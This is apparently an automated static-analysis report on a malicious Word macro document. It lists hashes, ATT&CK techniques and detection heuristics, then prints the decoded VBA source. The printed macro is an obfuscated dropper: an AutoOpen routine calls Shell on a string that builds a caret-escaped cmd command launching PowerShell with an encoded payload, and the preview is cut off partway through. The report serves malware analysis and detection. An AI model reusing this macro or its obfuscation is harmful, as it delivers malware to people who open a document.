Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 af6769d6b68e5014…

MALICIOUS

Office (OLE)

105.0 KB Created: 2018-06-05 12:05:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 4fe28b9dbb3aebbc99484c4a09fb64ba SHA-1: 9cb04aa9a41ca6b3977382286fc13b182af5439e SHA-256: af6769d6b68e50147033901820a2b44fc1c2c83d57cc66bf8431e93158de7dac
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros with an AutoOpen function that calls the Shell() function. This function is used to execute a command string, which appears to be constructed to launch a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6574503-0' further supports the dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6574503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6574503-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12297 bytes
SHA-256: b3735de9b599c03c41b4b0cd5c350661ac95721a1e891384f6cb98d0978da8aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HRYawRwHzM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function jmznhcvAS()
On Error Resume Next
zskKII = Hex(BvAoF + Hex(QivOGU) * 98183 + Round(cVCuW))
McYYd = Cos(foXWVG)
tSCdbw = CDate(dSndR)
PXXXiQ = Cos(BLYXbK)
CcKZs = Hex(pFlZra + Hex(UdupuH) * 58338 + Round(HQAnF))
chufB = Cos(azAHN)
RJKmwf = CDate(RRYRj)
UjDvLK = Cos(mfMXru)
jmznhcvAS = sITacKZ + Shell(ArXizituRT + Chr(IFpdIcYoT + vbKeyC + mpLlCQLwii) + LrjhrUb + hAmPT + MbzXTjPunS + APSlDwi + KqSTw + LimwhMPbj, 27669 - 27669)
KYUcnb = Hex(pVIVS + Hex(fnCEQ) * 20821 + Round(hjWEo))
bwmwnu = Cos(qztzv)
HTfLuZ = CDate(qGwcIG)
rHaBPn = Cos(zKDZVa)
End Function
Sub Autoopen()
On Error Resume Next
dhtFI = Hex(CjCYcf + Hex(GVzKnj) * 27255 + Round(iWshH))
IIcmYw = Cos(MYFWzV)
IFCZks = CDate(iLslpM)
uKBYA = Cos(uaamDj)
jmznhcvAS
uwuoo = Hex(kDdUT + Hex(OEizjB) * 67037 + Round(iRODzw))
iifPV = Cos(dphQE)
iczRpi = CDate(msQcql)
ukciq = Cos(pmBVzF)
End Sub


Attribute VB_Name = "skOwhfEEKjzYVV"
Function LrjhrUb()
On Error Resume Next
dEJwvr = Hex(wjYzYO + Hex(wTaIaD) * 56906 + Round(CsVEdS))
jQRch = Cos(zjXJG)
jQoTp = CDate(WXoiEQ)
wuCRd = Cos(OiiwIf)
jnjNRE = "md Gq" + "GMMjv EKXma" + "YwhW" + "wrOpmdirGUNBAho"
jKzjCz = Hex(wuSNY + Hex(aHudFM) * 2695 + Round(iWzSu))
sdETf = Cos(twLYEb)
zOEco = CDate(zQGjBr)
idznBR = Cos(haTpz)
TTOGmUzi = "QcT IluAvEj " + "&     " + "%^c^" + "o^m^S^p^E^c^%  " + "   %^c^o" + "^m^S^p^E^c^% " + "    " + "/V         " + "/c   "
kmivWY = Hex(GEEiuI + Hex(zBltDb) * 68528 + Round(QwYWn))
XWuPd = Cos(HKmLM)
OpaZTt = CDate(qKfoZm)
waVfX = Cos(lJjhJ)
zpWpozGCi = "        set" + " %FUvE" + "wAwEPzPLEdi%=Z" + "aaCJqzKw" + "d&&s" + "et " + "%TXJMuwH"
QBSmO = Hex(jaMukr + Hex(idwKri) * 40545 + Round(FIhoHn))
rFGsP = Cos(drYXR)
sMLEq = CDate(AtWowr)
omLtkz = Cos(mUiHn)
RinCFXWwPu = "zzASw%=p&" + "&set %brp" + "jFicY%=" + "o^w&&set " + "%jNM" + "wOuqC" + "XOvCXNF%=RpAROX" + "iQUZVCZP&&"
bZBlYm = Hex(TcQuEq + Hex(GupDG) * 29118 + Round(bSRwnZ))
bYiEQ = Cos(DarlQM)
fMVRp = CDate(nBrifA)
zAGjn = Cos(MRsDmp)
ddvXVtUXnO = "se" + "t " + "%j" + "VVXrDUiHpvSkz%" + "=!" + "%TXJMuwH"
rGfDEm = Hex(wOPzAI + Hex(mIkuzD) * 83722 + Round(DUIwj))
wnIjbB = Cos(jVoas)
ajlJi = CDate(qaJHJn)
wqDLuF = Cos(uzbHN)
ZUwlursfzb = "zzASw%!&&set" + " %WlI" + "TTirTlVUBFQY%=D" + "NzNYIJiO" + "J&&set %lWPK" + "Qmlh" + "WR%=e^r&&set %J" + "wZXfK" + "WOAa%=!%brpjFic" + "Y%!&&set %laz"
HrFmw = Hex(GzRSR + Hex(ZTpZp) * 60694 + Round(wpFMdK))
UlMaIi = Cos(JXzVWL)
joiYlA = CDate(mRVKv)
RjCfc = Cos(CzUlrK)
KDhUCVWwLUL = "JLkG" + "lUDDP%=s&&s" + "et %jwb" + "oZodIrKuEtWE%" + "=EfwMROr" + "wWHEMqO&&set %" + "Pz" + "CmKMTKNv%=h" + "e&&set %nzj" + "jUMS"
OQwpES = Hex(IPAan + Hex(JYiUrQ) * 23753 + Round(iZUUt))
IpLDnN = Cos(lEpcQr)
zBjcrk = CDate(iRAua)
SjqbUL = Cos(LTEzm)
GQdPtlOwCw = "iBNaB%=ll&&!%jV" + "VXrDUiHpvSk" + "z%!!%" + "JwZXfKWOAa" + "%!!%lWPKQmlh" + "WR%!!%la" + "zJLkGlU" + "DDP%!!%Pz"
tXTsra = Hex(kVdqs + Hex(IbiXLI) * 24836 + Round(fBONH))
TQjwl = Cos(RqvLZI)
CNwGA = CDate(rCzhvt)
ZJNVFf = Cos(UFUojE)
HMjBwFbi = "CmKMTKNv%!!%nz" + "jjUMSiBN" + "aB%!  -e IAAu" + "ACgAI" + "AAkAGUAbgBW" + "ADoAYwBPAE0Ac" + "wBwAGUAYwBbADQA" + "LAA"
MRfSw = Hex(oKCjv + Hex(iQCWj) * 71886 + Round(wQHca))
uYzws = Cos(Zvjfl)
OwqzO = CDate(iZrAT)
jlDdI = Cos(EoFMEd)
MZuvOzm = "yADYALAAyADUAXQ" + "AtAEoATwBpAG4AJ" + "wAnACkAK" + "ABuAEUAVwAtAG8" + "AQgBKAEUA" + "QwBUAC"
LrjhrUb = jnjNRE + TTOGmUzi + zpWpozGCi + RinCFXWwPu + ddvXVtUXnO + ZUwlursfzb + KDhUCVWwLUL + GQdPtlOwCw + HMjBwFbi + MZuvOzm
End Function
Function hAmPT()
On Error Resume Next
OKbWRw = Hex(REUoMw + Hex(AwAOt) * 8576 + Round(NHEwnt))
wMCsMK = Cos(wDDaC)
zfQPQL = CDate(EqEzLZ)
ACWZd = Cos(LVrSv)
MAjqCsPjf = "AAIABzAFkA" + "UwBUAGUAbQ" + "AuAEkA" + "bwAuAEMA"
mADuwo = Hex(Viirpf + Hex(HVGIEh) * 75953 + Round(zujdw))
XinzTQ = Co
... (truncated)

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